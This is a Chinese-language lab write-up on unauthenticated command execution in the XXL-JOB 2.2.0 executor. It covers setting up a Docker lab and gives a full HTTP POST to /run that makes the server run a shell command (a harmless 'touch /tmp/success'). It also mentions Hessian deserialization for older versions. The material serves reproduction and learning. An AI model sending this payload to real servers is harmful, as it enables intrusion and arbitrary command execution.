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# XXL-JOB executor 未授权访问漏洞
XXL-JOB是一个分布式任务调度平台其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线开箱即用。
XXL-JOB分为admin和executor两端前者为后台管理页面后者是任务执行的客户端。executor默认没有配置认证未授权的攻击者可以通过RESTful API执行任意命令。
参考链接:
- https://mp.weixin.qq.com/s/jzXIVrEl0vbjZxI4xlUm-g
- https://landgrey.me/blog/18/
- https://github.com/OneSourceCat/XxlJob-Hessian-RCE
## 环境搭建
执行如下命令启动2.2.0版本的XXL-JOB
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看到管理端admin访问`http://your-ip:9999`可以查看到客户端executor
## 漏洞复现
向客户端executor发送如下数据包即可执行命令
```
POST /run HTTP/1.1
Host: your-ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 365
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
```
![](1.png)
`touch /tmp/success`已成功执行:
![](2.png)
另外低于2.2.0版本的XXL-JOB没有RESTful API我们可以通过[Hessian反序列化](https://github.com/OneSourceCat/XxlJob-Hessian-RCE)来执行命令。